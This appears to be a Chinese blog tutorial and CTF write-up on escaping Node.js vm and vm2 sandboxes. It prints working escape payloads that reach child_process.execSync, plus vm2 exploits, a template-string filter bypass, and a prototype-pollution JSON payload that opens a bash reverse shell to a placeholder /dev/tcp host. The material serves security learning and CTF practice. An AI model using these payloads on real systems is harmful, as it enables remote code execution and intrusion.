本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [TOC]
NodeJS vm&vm2沙箱逃逸
什么是沙箱?
在讲沙箱逃逸之前,我们需要了解一下什么是沙箱。
沙箱就是一个集装箱,把你的应用装到沙箱里去运行,这样应用与应用之间就产生了边界,不会相互影响。
当我们运行一些可能产生危害的程序时,我们不能直接在主机上运行。我们可以单独开辟一个运行代码的环境,这个环境就是沙箱,它与主机相互隔离,但使用主机的资源,但有危害的代码在沙箱内运行只会对沙箱内部产生一些影响,不影响主机的功能。
 Docker属于沙箱SandBox的一种,通过创建一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序之间,程序与主机之间相互隔离开。
NodeJS的作用域
我们在写Node项目时,往往需要require其他js文件,我们把这些文件称为:包。包之间的作用域是相互隔离不互通的,也就是说,就算我们在y2.js中require了y1.js,我们在y2.js中也无法使用y1.js中的变量和函数。(在Node中一般把作用域叫上下文)
如果想要使用的话,必须使用exports这个nodeJS中将文件元素输出的接口。
exports是将文件元素输出的接口
举个例子:
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | const file = require('./y1.js')
 console.log(file.name)
 
 
 let name = 'y1.js'
 
 
 
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | const file = require('./y1.js')
 console.log(file.name)
 
 
 let name = 'y1.js'
 exports.name = name
 
 
 
 | 
由此可知,我们使用require引用其他文件后,想要使用其中的变量,方法之一就是使用exports将该元素导出

此时两个包的关系就是上面这样
global全局对象
除了上面这种方法,我们还可以使用global作用域,也就是global全局对象。NodeJS下其他所有的属性和包都挂载在这个global对象下面,在global下面挂载了一些全局变量,我们访问不需要global.xxx的方式访问,可以直接使用。例如:console就是这个global下的一个全局变量,我们可以直接使用,process也是global下的一个全局变量(一会逃逸要用到)
除了自带的全局变量,我们也可以使用global关键字自己声明一个全局变量
| 12
 3
 4
 5
 6
 7
 8
 
 | const file = require('./2.js')
 console.log(name)
 
 
 global.name = 'leekos'
 
 
 
 | 
可见,我们输出name时,不需要使用file.name的形式,我们可以直接使用name进行输出,同时name也不需要使用exports进行导出,因为此时name已经挂载在global上了,它的作用域不在2.js中了
vm沙箱模块
我们前面提到了作用域(上下文)这个概念,如果我们想要实现沙箱的隔离作用,我们是不是可以创建一个新的作用域,让代码在这个新的作用域中运行,这样就与其他作用域隔离了,这就是vm模块的原理。下面我们介绍几个vm模块的api:
vm.runInThisContext(code)
vm.runinThisContext(code):在当前的global下创建一个作用域(sandbox),并将接收到的参数当做代码执行。
sandbox沙箱中可以访问到global中的属性,但是无法访问其他包的属性。(无法访问本地的属性)
他们之间的关系就是这样:

sandbox可以访问global中的属性,但是不能访问xxx.js中的属性
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | const vm = require('vm')
 var local_var = 'leekos'
 global.global_var = 'xxx global~'
 var vm_var = vm.runInThisContext('global_var="vm_var";local_var="Tranquility";')
 console.log("vm_var: "+vm_var)
 console.log("local_var: "+local_var)
 console.log(global_var)
 
 
 
 
 
 
 
 
 
 | 
由此可见vm.runInThisContext()在当前文件的作用域外创建了一个新的作用域,并且该作用域在global作用域之中
此时vm.runInThisContext()和xxx.js处在不同的作用域之中,因此也不能改变local_var变量的值,但是由于vm.runInThisContext()在global作用域中,因此可以改变global_var的值
vm.createContext([sandbox])
使用前需要创建一个沙箱对象,再将沙箱对象传递给该方法(如果没有就会生成一个空的沙箱对象),v8为这个沙箱对象在当前的global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性
vm.runInContext(code,contextifiedSandbox[,options])
参数为要执行的代码和创建完作用域的上下文(沙箱对象),代码会在传入和沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同

| 12
 3
 4
 5
 6
 7
 8
 
 | const vm = require('vm')global.global_var = 1
 const sandbox = {global_var: 2}
 vm.createContext(sandbox)
 vm.runInContext('global_var*=2',sandbox)
 
 console.log(sandbox)
 console.log(global_var)
 
 | 
这种创建方式与vm.runInThisContext()有区别,这种不能改变global中的全局变量的值,沙箱内部无法访问global中的属性
(因为在当前的global外再创建了一个作用域)
vm.runInNewContext(code[,sandbox][,options])
这个函数是createContext()和runInContext()的结合版,传入要执行的代码和沙箱对象
vm.Script类
vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
new vm.Script(code, options)
new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。 code:要被解析的JavaScript代码
| 12
 3
 4
 5
 6
 7
 
 | const vm = require('vm')const sandbox = {animal: 'cat',count: 1}
 const script = new vm.Script('count += 1; name = "Tom";')
 const context = vm.createContext(sandbox)
 script.runInContext(context)
 
 console.log(sandbox)
 
 | 
script对象可以通过runInXXXContext运行
vm能逃逸出来的原理是因为context没有拦截对外部的constructor和__proto__等属性的访问
如何进行vm沙箱逃逸?
我们一般进行沙箱逃逸最后都是RCE,那么在NodeJS中进行RCE就需要使用process全局变量了,在获取到process对象之后我们就可以使用require来导入child_process,利用它来执行命令
例如:
| 12
 3
 
 | console.log(process.mainModule.require('child_process').execSync('whoami').toString())
 
 
 | 
但是process挂载在global中,我们上面说了,在createContext()后是不能访问到global的,所以我们最终的目的就是通过各种办法将global上的process引入沙箱中
逃逸的主要思路就是怎么从外面的global全局变量中拿到process。vm模块是非常不严谨的,基于node原型链继承的特性,我们很容易就能拿到外部全局变量。看一段简单的逃逸代码:
| 12
 3
 
 | const vm = require("vm");const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
 console.log(a.process);
 
 | 

那么我们是如何实现逃逸的呢?首先这里的this指向的是当前传递给runInNewContext()的对象,这个对象不属于沙箱环境,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Function的constructor),最后的()是调用这个用Function的constructor生成的函数,最终返回一个global对象
在NodeJs中反引号 `  代表模板字符串,所以此处:
| 1
 | `this.constructor.constructor('return global')()`
 | 
相当于将这个字符串传递给runInNewContext,此时并没有执行该字符串,而是作为参数传给runInNewContext执行
| 1
 | this.toString.constructor('return global')()
 | 
这种写法也可以返回global对象

因此,我们这样就可以进行vm沙箱逃逸了:
| 12
 3
 4
 5
 
 | const vm = require("vm");const ps = vm.runInNewContext(`this.constructor.constructor('return process')()`);
 console.log(ps.mainModule.require('child_process').execSync('whoami').toString());
 
 
 
 | 
在 Node.js 中,process.mainModule.require 是一种获取主模块的方式,而 child_process.execSync 是一个用于同步执行命令的函数,在这里用于执行 whoami 命令
vm2沙箱逃逸
vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块。那么vm2模块能否逃逸。
vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及__proto__这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。
| 12
 3
 4
 5
 
 | const {VM, VMScript} = require('vm2');
 const script = new VMScript("let a = 2;a;");
 
 console.log((new VM()).run(script));
 
 | 
VM是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化后调用其中的run方法就可以运行一段脚本。
那么vm2在运行这两行代码时都做了什么事:

vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp,
附上链接:Issues · patriksimek/vm2 · GitHub,
exp1:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | "use strict";const {VM} = require('vm2');
 const untrusted = '(' + function(){
 TypeError.prototype.get_process = f=>f.constructor("return process")();
 try{
 Object.preventExtensions(Buffer.from("")).a = 1;
 }catch(e){
 return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
 }
 }+')()';
 try{
 console.log(new VM().run(untrusted));
 }catch(x){
 console.log(x);
 }
 
 | 
exp2:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | "use strict";const {VM} = require('vm2');
 const untrusted = '(' + function(){
 try{
 Buffer.from(new Proxy({}, {
 getOwnPropertyDescriptor(){
 throw f=>f.constructor("return process")();
 }
 }));
 }catch(e){
 return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
 }
 }+')()';
 try{
 console.log(new VM().run(untrusted));
 }catch(x){
 console.log(x);
 }
 
 | 
至于vm2的逃逸原理分析,直接看大牛的文章,写的非常nice,文章链接:vm2沙箱逃逸分析-安全客 - 安全资讯平台 、https://www.anquanke.com/post/id/207283#h2-1
下面我们可以做一个题目感受一下
[HFCTF2020]JustEscape

提示我们/run.php可以执行代码,我们访问:
| 12
 3
 4
 5
 6
 7
 8
 
 | <?phpif( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
 $code = $_GET['code'];
 echo eval(code);
 } else {
 highlight_file(__FILE__);
 }
 ?>
 
 | 
经过尝试,发现这串代码没有用,是来迷惑人的
我们此时就会想,不止php中有eval()函数,nodejs中也有eval()函数
我们可以使用Error().stack获得nodejs中的报错信息

确实使用了vm2,所以接下来我们就需要进行vm2沙箱逃逸,我们使用现成的exp:
| 12
 3
 4
 5
 6
 7
 8
 
 | (function(){TypeError.prototype.get_process = f=>f.constructor("return process")();
 try{
 Object.preventExtensions(Buffer.from("")).a = 1;
 }catch(e){
 return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
 }
 })()
 
 | 
但是很多关键词被过滤了,我们需要知道一个知识点:
NodeJS模板字符串
例如:
| 12
 3
 
 | console.log(`prototype`)            console.log(`${`prototyp`}e`)
 console.log(`${`${`prototyp`}e`}`)
 
 | 
通过这种嵌套的方式绕过字符串过滤:
| 12
 3
 4
 5
 6
 7
 8
 
 | (function (){TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
 try{
 Object.preventExtensions(Buffer.from(``)).a = 1;
 }catch(e){
 return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
 }
 })()
 
 | 
当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制
还有一种使用数组绕过的方式:

[HZNUCTF 2023 final]eznode
访问:/app.js得源码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 
 | const express = require('express');
 const app = express();
 const { VM } = require('vm2');
 
 app.use(express.json());
 
 const backdoor = function () {
 try {
 new VM().run({}.shellcode);
 } catch (e) {
 console.log(e);
 }
 }
 
 const isObject = obj => obj && obj.constructor && obj.constructor === Object;
 const merge = (a, b) => {
 for (var attr in b) {
 if (isObject(a[attr]) && isObject(b[attr])) {
 merge(a[attr], b[attr]);
 } else {
 a[attr] = b[attr];
 }
 }
 return a
 }
 const clone = (a) => {
 return merge({}, a);
 }
 
 
 app.get('/', function (req, res) {
 res.send("POST some json shit to /.  no source code and try to find source code");
 });
 
 app.post('/', function (req, res) {
 try {
 console.log(req.body)
 var body = JSON.parse(JSON.stringify(req.body));
 var copybody = clone(body)
 if (copybody.shit) {
 backdoor()
 }
 res.send("post shit ok")
 }catch(e){
 res.send("is it shit ?")
 console.log(e)
 }
 })
 
 app.listen(3000, function () {
 console.log('start listening on port 3000');
 });
 
 | 
这里的merge()函数调用可以造成原型链污染漏洞,污染shellcode的值为vm沙箱逃逸的代码
vm2 原型链污染导致沙箱逃逸 poc:
| 12
 
 | let res = import('./app.js')res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
 
 | 
| 12
 3
 4
 5
 
 | {"shit":"shit","__proto__":{
 "shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"
 }
 }
 
 | 
 

参考
https://xz.aliyun.com/t/11859#toc-0
https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6%8E%A2/index.html